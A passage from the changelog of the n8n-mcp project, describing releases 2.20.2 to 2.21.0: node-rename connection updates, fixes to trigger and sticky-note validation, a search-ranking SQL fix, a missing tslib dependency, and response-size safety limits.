2363 | 5. Switch node cases (0, 1, 2, ..., N)
2364 | 6. Error connections
2365 | 7. AI tool connections (ai_tool, ai_languageModel)
2366 | 8. Name collision detection
2367 | 9. Rename to same name (no-op)
2368 | 10. Multiple renames in single batch
2369 | 11. Chain operations (rename + add/remove connections)
2370 | 12. validateOnly mode
2371 | 13. continueOnError mode
2372 | 14. Self-connections (loops)
2373 | 15. Real-world Issue #353 scenario
2374 |
2375 | #### Benefits
2376 |
2377 | **User Experience:**
2378 | - ✅ **Principle of Least Surprise**: Matches n8n UI behavior
2379 | - ✅ **Single Operation**: Rename with 1 operation instead of 3+
2380 | - ✅ **No Manual Tracking**: System handles all connection updates
2381 | - ✅ **Safer**: Collision detection prevents naming conflicts
2382 | - ✅ **Faster**: Less error-prone, fewer operations
2383 |
2384 | **Technical:**
2385 | - ✅ **100% Backward Compatible**: Enhances existing `updateNode` operation
2386 | - ✅ **All Connection Types**: main, error, AI connections, etc.
2387 | - ✅ **All Branch Types**: IF, Switch, error outputs
2388 | - ✅ **Atomic**: All connections update together or rollback
2389 | - ✅ **Works in Both Modes**: atomic and continueOnError
2390 |
2391 | **Comprehensive:**
2392 | - ✅ **14 Test Scenarios**: Unit tests covering all edge cases
2393 | - ✅ **4 Integration Tests**: Real-world workflow validation
2394 | - ✅ **Complete Documentation**: Tool docs with examples
2395 | - ✅ **Clear Error Messages**: Name collision detection with actionable guidance
2396 |
2397 | #### Impact on Existing Workflows
2398 |
2399 | **Zero Breaking Changes:**
2400 | - All existing workflows continue working
2401 | - Existing operations work identically
2402 | - Only enhances rename behavior
2403 | - No API changes required
2404 |
2405 | **Migration:**
2406 | - No migration needed
2407 | - Update to v2.21.0 and renames "just work"
2408 | - Remove manual connection workarounds at your convenience
2409 |
2410 | #### Related
2411 |
2412 | - **Issue:** #353 - Enhancement: Auto-update connection references on node rename
2413 | - **Use Case:** Real-world API endpoint workflow (POST /patients/:id/approaches)
2414 | - **Reporter:** Internal testing during workflow refactoring
2415 | - **Solution:** Recommended Solution 1 from issue (auto-update)
2416 |
2417 | Conceived by Romuald Członkowski - [www.aiadvisors.pl/en](https://www.aiadvisors.pl/en)
2418 |
2419 | ## [2.20.8] - 2025-10-23
2420 |
2421 | ### 🐛 Bug Fixes
2422 |
2423 | This release includes two critical bug fixes that improve workflow validation for sticky notes and trigger nodes.
2424 |
2425 | **Fix #1: Sticky Notes Validation - Disconnected Node False Positives (PR #350)**
2426 |
2427 | Fixed bug where sticky notes (UI-only annotation nodes) were incorrectly triggering "disconnected node" validation errors when updating workflows via MCP tools.
2428 |
2429 | #### Problem
2430 | - Workflows with sticky notes failed validation with "Node is disconnected" errors
2431 | - Validation logic was inconsistent between `workflow-validator.ts` and `n8n-validation.ts`
2432 | - Sticky notes are UI-only annotations and should never trigger connection validation
2433 |
2434 | #### Fixed
2435 | - **Created Shared Utility Module** (`src/utils/node-classification.ts`):
2436 | - `isStickyNote()`: Identifies all sticky note type variations
2437 | - `isTriggerNode()`: Identifies trigger nodes (webhook, manual, cron, schedule)
2438 | - `isNonExecutableNode()`: Identifies UI-only nodes
2439 | - `requiresIncomingConnection()`: Determines if node needs incoming connections
2440 | - **Updated Validators**: Both validation files now properly skip sticky notes
2441 |
2442 | **Fix #2: Issue #351 - Recognize All Trigger Node Types Including Execute Workflow Trigger (PR #352)**
2443 |
2444 | Fixed validation logic that was incorrectly treating Execute Workflow Trigger and other trigger nodes as regular nodes, causing "disconnected node" errors during partial workflow updates.
2445 |
2446 | #### Problem
2447 | The workflow validation system used a hardcoded list of only 5 trigger types, missing 200+ trigger nodes including `executeWorkflowTrigger`.
2448 |
2449 | Additionally, no validation prevented users from activating workflows that only have `executeWorkflowTrigger` nodes (which cannot activate workflows - they can only be invoked by other workflows).
2450 |
2451 | #### Fixed
2452 | - **Enhanced Trigger Detection** (`src/utils/node-type-utils.ts`):
2453 | - `isTriggerNode()`: Flexible pattern matching recognizes ALL triggers (200+)
2454 | - `isActivatableTrigger()`: Distinguishes triggers that can activate workflows
2455 | - `getTriggerTypeDescription()`: Human-readable trigger descriptions
2456 |
2457 | - **Active Workflow Validation** (`src/services/n8n-validation.ts`):
2458 | - Prevents activation of workflows with only `executeWorkflowTrigger` nodes
2459 | - Clear error messages guide users to add activatable triggers or deactivate the workflow
2460 |
2461 | - **Comprehensive Test Coverage**: 30+ new tests for trigger detection
2462 |
2463 | #### Impact
2464 |
2465 | **Before Fix:**
2466 | - ❌ Execute Workflow Trigger and 195+ other triggers flagged as "disconnected nodes"
2467 | - ❌ Sticky notes triggered false positive validation errors
2468 | - ❌ Could activate workflows with only `executeWorkflowTrigger` (n8n API would reject)
2469 |
2470 | **After Fix:**
2471 | - ✅ ALL trigger types recognized (executeWorkflowTrigger, scheduleTrigger, emailTrigger, etc.)
2472 | - ✅ Sticky notes properly excluded from validation
2473 | - ✅ Clear error messages when trying to activate workflow with only `executeWorkflowTrigger`
2474 | - ✅ Future-proof (new trigger nodes automatically supported)
2475 | - ✅ Consistent node classification across entire codebase
2476 |
2477 | #### Technical Details
2478 |
2479 | **Files Modified:**
2480 | - `src/utils/node-classification.ts` - NEW: Shared node classification utilities
2481 | - `src/utils/node-type-utils.ts` - Enhanced trigger detection functions
2482 | - `src/services/n8n-validation.ts` - Updated to use shared utilities
2483 | - `src/services/workflow-validator.ts` - Updated to use shared utilities
2484 | - `tests/unit/utils/node-type-utils.test.ts` - Added 30+ tests
2485 | - `package.json` - Version bump to 2.20.8
2486 |
2487 | **Related:**
2488 | - **Issue:** #351 - Execute Workflow Trigger not recognized as valid trigger
2489 | - **PR:** #350 - Sticky notes validation fix
2490 | - **PR:** #352 - Comprehensive trigger detection
2491 |
2492 | Conceived by Romuald Członkowski - [www.aiadvisors.pl/en](https://www.aiadvisors.pl/en)
2493 |
2494 | ## [2.20.7] - 2025-10-22
2495 |
2496 | ### 🔄 Dependencies
2497 |
2498 | **Updated n8n to v1.116.2**
2499 |
2500 | Updated all n8n dependencies to the latest compatible versions:
2501 | - `n8n`: 1.115.2 → 1.116.2
2502 | - `n8n-core`: 1.114.0 → 1.115.1
2503 | - `n8n-workflow`: 1.112.0 → 1.113.0
2504 | - `@n8n/n8n-nodes-langchain`: 1.114.1 → 1.115.1
2505 |
2506 | **Database Rebuild:**
2507 | - Rebuilt node database with 542 nodes from updated n8n packages
2508 | - All 542 nodes loaded successfully from both n8n-nodes-base (439 nodes) and @n8n/n8n-nodes-langchain (103 nodes)
2509 | - Documentation mapping completed for all nodes
2510 |
2511 | **Testing:**
2512 | - Changes validated in CI/CD pipeline with full test suite (705 tests)
2513 | - Critical nodes validated: httpRequest, code, slack, agent
2514 |
2515 | ### 🐛 Bug Fixes
2516 |
2517 | **FTS5 Search Ranking - Exact Match Prioritization**
2518 |
2519 | Fixed critical bug in production search where exact matches weren't appearing first in search results.
2520 |
2521 | #### Problem
2522 | - SQL ORDER BY clause was `ORDER BY rank, CASE ... END` (wrong order)
2523 | - FTS5 rank sorted first, CASE statement only acted as tiebreaker
2524 | - Since FTS5 ranks are always unique, CASE boosting never applied
2525 | - Additionally, CASE used case-sensitive comparison failing to match nodes like "Webhook" when searching "webhook"
2526 | - Result: Searching "webhook" returned "Webflow Trigger" first, actual "Webhook" node ranked 4th
2527 |
2528 | #### Root Cause Analysis
2529 | **SQL Ordering Issue:**
2530 | ```sql
2531 | -- BEFORE (Broken):
2532 | ORDER BY rank, CASE ... END -- rank first, CASE never used
2533 | -- Result: webhook ranks 4th (-9.64 rank)
2534 | -- Top 3: webflowTrigger (-10.20), vonage (-10.09), renameKeys (-10.01)
2535 |
2536 | -- AFTER (Fixed):
2537 | ORDER BY CASE ... END, rank -- CASE first, exact matches prioritized
2538 | -- Result: webhook ranks 1st (CASE priority 0)
2539 | ```
2540 |
2541 | **Case-Sensitivity Issue:**
2542 | - Old: `WHEN n.display_name = ?` (case-sensitive, fails on "Webhook" vs "webhook")
2543 | - New: `WHEN LOWER(n.display_name) = LOWER(?)` (case-insensitive, matches correctly)
2544 |
2545 | #### Fixed
2546 |
2547 | **1. Production Code** (`src/mcp/server.ts` lines 1278-1295)
2548 | - Changed ORDER BY from: `rank, CASE ... END`
2549 | - To: `CASE WHEN LOWER(n.display_name) = LOWER(?) ... END, rank`
2550 | - Added case-insensitive comparison with LOWER() function
2551 | - Exact matches now consistently appear first in search results
2552 |
2553 | **2. Test Files Updated**
2554 | - `tests/integration/database/node-fts5-search.test.ts` (lines 137-160)
2555 | - `tests/integration/ci/database-population.test.ts` (lines 206-234)
2556 | - Both updated to match corrected SQL logic with case-insensitive comparison
2557 | - Tests now accurately validate production search behavior
2558 |
2559 | #### Impact
2560 |
2561 | **Search Quality:**
2562 | - ✅ Exact matches now always rank first (webhook, http, code, etc.)
2563 | - ✅ Case-insensitive matching works correctly (Webhook = webhook = WEBHOOK)
2564 | - ✅ Better user experience - predictable search results
2565 | - ✅ SQL query more efficient (correct ordering at database level)
2566 |
2567 | **Performance:**
2568 | - Same or better performance (less JavaScript sorting needed)
2569 | - Database does the heavy lifting with correct ORDER BY
2570 | - JavaScript sorting still provides additional relevance refinement
2571 |
2572 | **Testing:**
2573 | - All 705 tests passing (703 passed + 2 fixed)
2574 | - Comprehensive testing by n8n-mcp-tester agent
2575 | - Code review approved with minor optimization suggestions for future
2576 |
2577 | **Verified Search Results:**
2578 | - "webhook" → nodes-base.webhook (1st)
2579 | - "http" → nodes-base.httpRequest (1st)
2580 | - "code" → nodes-base.code (1st)
2581 | - "slack" → nodes-base.slack (1st)
2582 | - All case variations work correctly (WEBHOOK, Webhook, webhook)
2583 |
2584 | ## [2.20.6] - 2025-10-21
2585 |
2586 | ### 🐛 Bug Fixes
2587 |
2588 | **Issue #342: Missing `tslib` Dependency Causing MODULE_NOT_FOUND on Windows**
2589 |
2590 | Fixed critical dependency issue where `tslib` was missing from the published npm package, causing immediate failure when users ran `npx n8n-mcp@latest` on Windows (and potentially other platforms).
2591 |
2592 | #### Problem
2593 |
2594 | Users installing via `npx n8n-mcp@latest` experienced MODULE_NOT_FOUND errors:
2595 | ```
2596 | Error: Cannot find module 'tslib'
2597 | Require stack:
2598 | - node_modules/@supabase/functions-js/dist/main/FunctionsClient.js
2599 | - node_modules/@supabase/supabase-js/dist/main/index.js
2600 | - node_modules/n8n-mcp/dist/telemetry/telemetry-manager.js
2601 | ```
2602 |
2603 | **Root Cause Analysis:**
2604 | - `@supabase/supabase-js` depends on `@supabase/functions-js` which requires `tslib` at runtime
2605 | - `tslib` was NOT explicitly listed in `package.runtime.json` dependencies
2606 | - The publish script (`scripts/publish-npm.sh`) copies `package.runtime.json` → `package.json` before publishing to npm
2607 | - CI/CD workflow (`.github/workflows/release.yml` line 329) does the same: `cp package.runtime.json $PUBLISH_DIR/package.json`
2608 | - Result: Published npm package had no `tslib` dependency
2609 | - When users installed via `npx`, npm didn't install `tslib` → MODULE_NOT_FOUND error
2610 |
2611 | **Why It Worked Locally:**
2612 | - Local development uses main `package.json` which has full n8n package dependencies
2613 | - `tslib` existed as a transitive dependency through AWS SDK packages
2614 | - npm's hoisting made it available locally
2615 |
2616 | **Why It Failed in Production:**
2617 | - `npx` installations use the published package (which comes from `package.runtime.json`)
2618 | - No transitive path to `tslib` in the minimal runtime dependencies
2619 | - npm's dependency resolution on Windows didn't hoist it properly
2620 |
2621 | **Why Docker Worked:**
2622 | - Docker builds used `package-lock.json` which included all transitive dependencies
2623 | - Or the base image already had `tslib` installed
2624 |
2625 | #### Fixed
2626 |
2627 | **1. Added `tslib` to Runtime Dependencies**
2628 | - Added `"tslib": "^2.6.2"` to `package.runtime.json` dependencies (line 14)
2629 | - This is the **critical fix** since `package.runtime.json` gets published to npm
2630 | - Version `^2.6.2` matches existing transitive dependency versions
2631 |
2632 | **2. Added `tslib` to Development Dependencies**
2633 | - Added `"tslib": "^2.6.2"` to `package.json` dependencies (line 154)
2634 | - Ensures consistency between development and production
2635 | - Prevents confusion for developers
2636 |
2637 | **3. Synced `package.runtime.json` Version**
2638 | - Updated `package.runtime.json` version from `2.20.2` to `2.20.5`
2639 | - Keeps runtime package version in sync with main package version
2640 |
2641 | #### Technical Details
2642 |
2643 | **Dependency Chain:**
2644 | ```
2645 | n8n-mcp
2646 | └── @supabase/[email protected]
2647 | └── @supabase/[email protected]
2648 | └── tslib (MISSING) ❌
2649 | ```
2650 |
2651 | **Publish Process:**
2652 | ```bash
2653 | # CI/CD workflow (.github/workflows/release.yml:329)
2654 | cp package.runtime.json $PUBLISH_DIR/package.json
2655 | npm publish --access public
2656 |
2657 | # Users install via npx
2658 | npx n8n-mcp@latest
2659 | # → Gets dependencies from package.runtime.json (now includes tslib ✅)
2660 | ```
2661 |
2662 | **Files Modified:**
2663 | - `package.json` line 154: Added `tslib: "^2.6.2"`
2664 | - `package.runtime.json` line 14: Added `tslib: "^2.6.2"` (critical fix)
2665 | - `package.runtime.json` line 3: Updated version `2.20.2` → `2.20.5`
2666 |
2667 | #### Impact
2668 |
2669 | **Before Fix:**
2670 | - ❌ Package completely broken on Windows for `npx` users
2671 | - ❌ Affected all platforms using `npx` (not just Windows)
2672 | - ❌ 100% failure rate on fresh installations
2673 | - ❌ Workaround: Use v2.19.6 or install with `npm install` + run locally
2674 |
2675 | **After Fix:**
2676 | - ✅ `npx n8n-mcp@latest` works on all platforms
2677 | - ✅ `tslib` guaranteed to be installed with the package
2678 | - ✅ No breaking changes (adding a dependency that was already in transitive tree)
2679 | - ✅ Consistent behavior across Windows, macOS, Linux
2680 |
2681 | #### Verification
2682 |
2683 | **Build & Tests:**
2684 | - ✅ TypeScript compilation passes
2685 | - ✅ Type checking passes (`npm run typecheck`)
2686 | - ✅ All tests pass
2687 | - ✅ Build succeeds (`npm run build`)
2688 |
2689 | **CI/CD Validation:**
2690 | - ✅ Verified CI workflow copies `package.runtime.json` → `package.json` before publish
2691 | - ✅ Confirmed `tslib` will be included in published package
2692 | - ✅ No changes needed to CI/CD workflows
2693 |
2694 | #### Related
2695 |
2696 | - **Issue:** #342 - Missing `tslib` dependency in v2.20.3 causing MODULE_NOT_FOUND error on Windows
2697 | - **Reporter:** @eddyc (thank you for the detailed bug report!)
2698 | - **Severity:** CRITICAL - Package unusable via `npx` on Windows
2699 | - **Affected Versions:** 2.20.0 - 2.20.5
2700 | - **Fixed Version:** 2.20.6
2701 |
2702 | Conceived by Romuald Członkowski - [www.aiadvisors.pl/en](https://www.aiadvisors.pl/en)
2703 |
2704 | ## [2.20.5] - 2025-10-21
2705 |
2706 | ### 🐛 Bug Fixes
2707 |
2708 | **Validation False Positives Eliminated (80% → 0%)**
2709 |
2710 | This release completely eliminates validation false positives on production workflows through comprehensive improvements to expression detection, webhook validation, and validation profile handling.
2711 |
2712 | #### Problem Statement
2713 |
2714 | Production workflows were experiencing an 80% false positive rate during validation:
2715 | - Expression-based URLs flagged as invalid (e.g., `={{ $json.protocol }}://{{ $json.domain }}/api`)
2716 | - Expression-based JSON flagged as invalid (e.g., `={{ { key: $json.value } }}`)
2717 | - Webhook `onError` validation checking wrong property location (node-level vs parameters)
2718 | - "Missing $ prefix" regex flagging valid property access (e.g., `item['json']`)
2719 | - `respondToWebhook` nodes incorrectly warned about missing error handling
2720 | - Hardcoded credential warnings appearing in all validation profiles
2721 |
2722 | #### Solution Overview
2723 |
2724 | **Phase 1: Centralized Expression Detection**
2725 | - Created `src/utils/expression-utils.ts` with 5 core utilities:
2726 | - `isExpression()`: Type predicate detecting `=` prefix
2727 | - `containsExpression()`: Detects `{{ }}` markers (optimized with single regex)
2728 | - `shouldSkipLiteralValidation()`: Main decision utility for validators
2729 | - `extractExpressionContent()`: Extracts expression code
2730 | - `hasMixedContent()`: Detects mixed text+expression patterns
2731 | - Added comprehensive test suite with 75 tests (100% statement coverage)
2732 |
2733 | **Phase 2: URL and JSON Validation Fixes**
2734 | - Modified `config-validator.ts` to skip expression validation:
2735 | - URL validation: Skip when `shouldSkipLiteralValidation()` returns true (lines 385-397)
2736 | - JSON validation: Skip when value contains expressions (lines 424-439)
2737 | - Improved error messages to include actual JSON parse errors
2738 |
2739 | **Phase 3: Webhook Validation Improvements**
2740 | - Fixed `onError` property location check in `workflow-validator.ts`:
2741 | - Now checks node-level `onError` property, not `parameters.onError`
2742 | - Added context-aware validation for webhook response modes
2743 | - Created specialized `checkWebhookErrorHandling()` helper method (lines 1618-1662):
2744 | - Skips validation for `respondToWebhook` nodes (response nodes)
2745 | - Requires `onError` for `responseNode` mode
2746 | - Provides warnings for regular webhook nodes
2747 | - Moved responseNode validation from `node-specific-validators.ts` to `workflow-validator.ts`
2748 |
2749 | **Phase 4: Regex Pattern Enhancement**
2750 | - Updated missing prefix pattern in `expression-validator.ts` (line 217):
2751 | - Old: `/(?<!\$|\.)\b(json|node)\b/`
2752 | - New: `/(?<![.$\w['])\b(json|node|input|items|workflow|execution)\b(?!\s*[:''])/`
2753 | - Now correctly excludes:
2754 | - Dollar prefix: `$json` ✓
2755 | - Dot access: `.json` ✓
2756 | - Word chars: `myJson` ✓
2757 | - Bracket notation: `item['json']` ✓
2758 | - After quotes: `"json"` ✓
2759 |
2760 | **Phase 5: Profile-Based Filtering**
2761 | - Made hardcoded credential warnings configurable in `enhanced-config-validator.ts`:
2762 | - Created `shouldFilterCredentialWarning()` helper method (lines 469-476)
2763 | - Only show hardcoded credential warnings in `strict` profile
2764 | - Filters warnings in `minimal`, `runtime`, and `ai-friendly` profiles
2765 | - Replaced 3 instances of duplicate filtering code (lines 492, 510, 539)
2766 |
2767 | **Phase 6: Code Quality Improvements**
2768 | - Fixed type guard order in `hasMixedContent()` (line 90)
2769 | - Added type predicate to `isExpression()` for better TypeScript narrowing
2770 | - Extracted helper methods to reduce code duplication
2771 | - Improved error messages with actual parsing details
2772 |
2773 | **Phase 7: Comprehensive Testing**
2774 | - Created `tests/unit/utils/expression-utils.test.ts` with 75 tests:
2775 | - `isExpression()`: 18 tests (valid, invalid, edge cases, type narrowing)
2776 | - `containsExpression()`: 14 tests (markers, edge cases)
2777 | - `shouldSkipLiteralValidation()`: 12 tests (skip conditions, real-world)
2778 | - `extractExpressionContent()`: 11 tests (extraction, edge cases)
2779 | - `hasMixedContent()`: 19 tests (mixed content, type guards)
2780 | - Integration scenarios: 4 tests (real workflow scenarios)
2781 | - Performance test: 10k iterations in <100ms
2782 | - Fixed CI test failure by skipping moved validation tests in `node-specific-validators.test.ts`
2783 |
2784 | #### Results
2785 |
2786 | **Validation Accuracy:**
2787 | - Total Errors: 16 → 0 (100% elimination)
2788 | - Total Warnings: 45 → 27 (40% reduction)
2789 | - Valid Workflows: 0/6 → 6/6 (100% success rate)
2790 | - False Positive Rate: 80% → 0%
2791 |
2792 | **Test Coverage:**
2793 | - New tests: 75 comprehensive test cases
2794 | - Statement coverage: 100%
2795 | - Line coverage: 100%
2796 | - Branch coverage: 95.23%
2797 | - All 143 tests passing ✓
2798 |
2799 | **Files Changed:**
2800 | - Modified: 7 files
2801 | - `src/services/config-validator.ts`
2802 | - `src/services/enhanced-config-validator.ts`
2803 | - `src/services/expression-validator.ts`
2804 | - `src/services/workflow-validator.ts`
2805 | - `src/services/node-specific-validators.ts`
2806 | - `tests/unit/services/node-specific-validators.test.ts`
2807 | - Created: 2 files
2808 | - `src/utils/expression-utils.ts`
2809 | - `tests/unit/utils/expression-utils.test.ts`
2810 |
2811 | **Code Review:**
2812 | - ✅ READY TO MERGE
2813 | - All phases implemented with critical warnings and suggestions addressed
2814 | - Type safety improved with type predicates
2815 | - Code duplication eliminated with helper methods
2816 | - Comprehensive test coverage with real-world scenarios
2817 |
2818 | **Related:**
2819 | - PR #346
2820 | - Branch: `feat/sticky-note-validation`
2821 |
2822 | Conceived by Romuald Członkowski - [www.aiadvisors.pl/en](https://www.aiadvisors.pl/en)
2823 |
2824 | ## [2.20.4] - 2025-10-21
2825 |
2826 | ### 🛡️ Safety & Reliability Enhancements
2827 |
2828 | **HTTP Server Validation Tools - Enhanced Safety Features (builds on PR #343)**
2829 |
2830 | This release adds defensive safety measures to the HTTP server validation tools response handling, preventing potential memory issues and improving code quality.
2831 |
2832 | #### Building on PR #343
2833 |
2834 | PR #343 (merged 2025-10-21) successfully fixed the MCP protocol error -32600 by adding the required `structuredContent` field for validation tools via HTTP transport. This release enhances that fix with additional safety features to match STDIO server behavior.
2835 |
2836 | #### Added
2837 |
2838 | **1. TypeScript Interface for Type Safety**
2839 | - Added `MCPToolResponse` interface (src/http-server.ts:26-35)
2840 | - Replaced `any` type with proper interface for response objects
2841 | - Improves IDE autocomplete, catches type errors at compile time
2842 | - Better code maintainability and refactoring safety
2843 |
2844 | **2. 1MB Response Size Validation**
2845 | - Implements size check before adding `structuredContent` (src/http-server.ts:434-449)
2846 | - Prevents memory exhaustion and potential DoS attacks
2847 | - Matches STDIO server behavior (src/mcp/server.ts:515-520)
2848 | - **Logic:**
2849 | - Check response size: `responseText.length`
2850 | - If > 1MB: Truncate and skip structuredContent
2851 | - If <= 1MB: Include structuredContent (normal case)
2852 |
2853 | **3. Warning Logs for Large Responses**
2854 | - Logs warnings when validation responses exceed 1MB (src/http-server.ts:438-442)
2855 | - Includes actual size in logs for debugging
2856 | - Helps identify performance issues and potential problems
2857 | - **Example:** `Validation tool validate_workflow response is very large (1500000 chars). Truncating for HTTP transport safety.`
2858 |
2859 | **4. Response Truncation for Safety**
2860 | - Truncates responses larger than 1MB to 999KB + message (src/http-server.ts:443-444)
2861 | - Prevents HTTP transport issues with very large payloads
2862 | - Ensures client stability even with pathological inputs
2863 | - **Message:** `[Response truncated due to size limits]`
2864 |
2865 | #### Technical Details
2866 |
2867 | **Size Validation Flow:**
2868 | ```typescript
2869 | // 1. Convert result to JSON
2870 | let responseText = JSON.stringify(result, null, 2);
2871 |
2872 | // 2. Check size for validation tools
2873 | if (toolName.startsWith('validate_')) {
2874 | const resultSize = responseText.length;
2875 |
2876 | // 3. Apply 1MB limit
2877 | if (resultSize > 1000000) {
2878 | // Large response: truncate and warn
2879 | logger.warn(`Validation tool ${toolName} response is very large...`);
2880 | mcpResult.content[0].text = responseText.substring(0, 999000) +
2881 | '\n\n[Response truncated due to size limits]';
2882 | // Don't include structuredContent
2883 | } else {
2884 | // Normal case: include structured content
2885 | mcpResult.structuredContent = result;
2886 | }
2887 | }
2888 | ```
2889 |
2890 | **STDIO Parity:**
2891 | - HTTP server now matches STDIO server safety features
2892 | - Same 1MB limit (STDIO: src/mcp/server.ts:516)
2893 | - Same truncation behavior
2894 | - Same warning logs (STDIO: src/mcp/server.ts:517)
2895 | - **Result:** Consistent behavior across both transports
2896 |
2897 | #### Benefits
2898 |
2899 | 1. **Prevents DoS Attacks** - Size limits prevent malicious large responses from exhausting memory
2900 | 2. **Improves HTTP Transport Stability** - Truncation prevents transport layer issues
2901 | 3. **Better Observability** - Warning logs help identify and debug problems
2902 | 4. **Type Safety** - Interface prevents type-related bugs during development
2903 | 5. **Full STDIO Parity** - Consistent safety features across all transports
2904 |
2905 | #### Impact
2906 |
2907 | - **Risk Level:** LOW (only adds safety checks, no logic changes)
2908 | - **Breaking Changes:** NONE (backward compatible, only adds truncation for edge cases)
2909 | - **Performance Impact:** Negligible (single length check: O(1))
2910 | - **Memory Safety:** Significantly improved (prevents unbounded growth)
2911 |
2912 | #### Testing
2913 |
2914 | - ✅ TypeScript compilation passes
2915 | - ✅ Type checking passes (`npm run typecheck`)
2916 | - ✅ Build succeeds (`npm run build`)
2917 | - ✅ No breaking changes to existing functionality
2918 | - ✅ All HTTP validation tools continue working normally
2919 |
2920 | #### Documentation
2921 |
2922 | **New Documentation:**
2923 | - `docs/CI_TEST_INFRASTRUCTURE.md` - Documents known CI test infrastructure issues
2924 | - Explains why external contributor PRs have integration test failures
2925 | - Clarifies that these are infrastructure issues, not code quality issues
2926 | - Provides workarounds and testing strategies
2927 | - References PR #343 as example
2928 |
2929 | **Why CI Tests Fail for External PRs:**
2930 | - GitHub Actions doesn't expose secrets to external contributor PRs (security)
2931 | - MSW (Mock Service Worker) doesn't intercept requests properly in CI
2932 | - Integration tests expect mock n8n server that isn't responding
2933 | - **NOT a code quality issue** - the actual code changes are correct
2934 | - Local tests work fine, CI infrastructure needs separate fix
2935 |
2936 | #### Related
2937 |
2938 | - **Builds on:** PR #343 - fix: add structuredContent to HTTP wrapper for validation tools
2939 | - **Fixes:** None (enhancement only)
2940 | - **References:** MCP protocol specification for tools with outputSchema
2941 | - **CI Issue:** External PR integration test failures documented (infrastructure issue)
2942 |
2943 | #### Files Changed
2944 |
2945 | **Code (1 file):**
2946 | - `src/http-server.ts` - Enhanced with safety features (interface, size validation, logging)
2947 |
2948 | **Documentation (1 file):**
2949 | - `docs/CI_TEST_INFRASTRUCTURE.md` - Documents CI test infrastructure known issues (NEW)
2950 |
2951 | **Configuration (1 file):**
2952 | - `package.json` - Version bump to 2.20.4
2953 |
2954 | ---
2955 |
2956 | ## [2.20.3] - 2025-10-19
2957 |
2958 | ### 🔍 Enhanced Error Messages & Documentation
2959 |
2960 | **Issue #331: Enhanced Workflow Validation Error Messages**
2961 |
2962 | Significantly improved error messages and recovery guidance for workflow validation failures, making it easier for AI agents to diagnose and fix workflow issues.
2963 |
2964 | #### Problem
2965 |
2966 | When workflow validation failed after applying diff operations, error messages were generic and unhelpful:
2967 | - Simple "Workflow validation failed after applying operations" message
2968 | - No categorization of error types
2969 | - No recovery guidance for AI agents
2970 | - Difficult to understand what went wrong and how to fix it
2971 |
2972 | #### Fixed
2973 |
2974 | **1. Enhanced Error Messages (handlers-workflow-diff.ts:130-193)**
2975 | - **Error Categorization**: Analyzes errors and categorizes them by type (operator issues, connection issues, missing metadata, branch mismatches)
2976 | - **Targeted Recovery Guidance**: Provides specific, actionable steps based on error type
2977 | - **Clear Error Messages**: Shows single error or count with detailed context
2978 | - **Auto-Sanitization Notes**: Explains what auto-sanitization can and cannot fix
2979 |
2980 | **Example Error Response**:
2981 | ```json
2982 | {
2983 | "success": false,
2984 | "error": "Workflow validation failed: Disconnected nodes detected: \"Node Name\" (node-type)",
2985 | "details": {
2986 | "errors": ["Disconnected nodes detected..."],
2987 | "errorCount": 1,
2988 | "recoveryGuidance": [
2989 | "Connection validation failed. Check all node connections reference existing nodes.",
2990 | "Use cleanStaleConnections operation to remove connections to non-existent nodes."
2991 | ],
2992 | "note": "Operations were applied but workflow was NOT saved to prevent UI errors.",
2993 | "autoSanitizationNote": "Auto-sanitization runs on all nodes to fix operators/metadata..."
2994 | }
2995 | }
2996 | ```
2997 |
2998 | **2. Comprehensive Documentation Updates**
2999 |
3000 | Updated 4 tool documentation files to explain auto-sanitization system:
3001 |
3002 | - **n8n-update-partial-workflow.ts**: Added comprehensive "Auto-Sanitization System" section
3003 | - Explains what gets auto-fixed (operator structures, missing metadata)
3004 | - Describes sanitization scope (runs on ALL nodes)
3005 | - Lists limitations (cannot fix broken connections, branch mismatches)
3006 | - Provides recovery guidance for issues beyond auto-sanitization
3007 |
3008 | - **n8n-create-workflow.ts**: Added tips and pitfalls about auto-sanitization during workflow creation
3009 |
3010 | - **validate-node-operation.ts**: Added guidance for IF/Switch operator validation
3011 | - Binary vs unary operator rules
3012 | - conditions.options metadata requirements
3013 | - Operator type field usage
3014 |
3015 | - **validate-workflow.ts**: Added best practices about auto-sanitization and validation
3016 |
3017 | #### Impact
3018 |
3019 | **AI Agent Experience**:
3020 | - ✅ **Clear Error Messages**: Specific errors with exact problem identification
3021 | - ✅ **Actionable Recovery**: Step-by-step guidance to fix issues
3022 | - ✅ **Error Categorization**: Understand error type immediately
3023 | - ✅ **Example Code**: Error responses include fix suggestions with code snippets
3024 |
3025 | **Documentation Quality**:
3026 | - ✅ **Comprehensive**: Auto-sanitization system fully documented
3027 | - ✅ **Accurate**: All technical claims verified by tests
3028 | - ✅ **Helpful**: Clear explanations of what can/cannot be auto-fixed
3029 |
3030 | **Error Response Structure**:
3031 | - `details.errors` - Array of specific error messages
3032 | - `details.errorCount` - Number of errors found
3033 | - `details.recoveryGuidance` - Actionable steps to fix issues
3034 | - `details.note` - Explanation of what happened
3035 | - `details.autoSanitizationNote` - Auto-sanitization limitations
3036 |
3037 | #### Testing
3038 |
3039 | - ✅ All 26 update-partial-workflow tests passing
3040 | - ✅ All 14 node-sanitizer tests passing
3041 | - ✅ Backward compatibility maintained (details.errors field preserved)
3042 | - ✅ Integration tested with n8n-mcp-tester agent
3043 | - ✅ Code review approved (no critical issues)
3044 |
3045 | #### Files Changed
3046 |
3047 | **Code (1 file)**:
3048 | - `src/mcp/handlers-workflow-diff.ts` - Enhanced error messages with categorization and recovery guidance
3049 |
3050 | **Documentation (4 files)**:
3051 | - `src/mcp/tool-docs/workflow_management/n8n-update-partial-workflow.ts` - Auto-sanitization section
3052 | - `src/mcp/tool-docs/workflow_management/n8n-create-workflow.ts` - Auto-sanitization tips
3053 | - `src/mcp/tool-docs/validation/validate-node-operation.ts` - Operator validation guidance
3054 | - `src/mcp/tool-docs/validation/validate-workflow.ts` - Auto-sanitization best practices
3055 |
3056 | ---
3057 |
3058 | ## [2.20.2] - 2025-10-18
3059 |
3060 | ### 🐛 Bug Fixes
3061 |
3062 | **Issue #331: Prevent Broken Workflows via Partial Updates (Enhanced)**
3063 |
3064 | Fixed critical issue where `n8n_update_partial_workflow` could create corrupted workflows that n8n API accepts but UI cannot render. **Enhanced validation to detect ALL disconnected nodes**, not just workflows with zero connections.
3065 |
3066 | #### Problem
3067 | - Partial workflow updates validated individual operations but not final workflow structure
3068 | - Users could inadvertently create invalid workflows:
3069 | - Multi-node workflows with no connections
3070 | - Single non-webhook node workflows
3071 | - **Disconnected nodes when building incrementally** (original fix missed this)
3072 | - Workflows with broken connection graphs
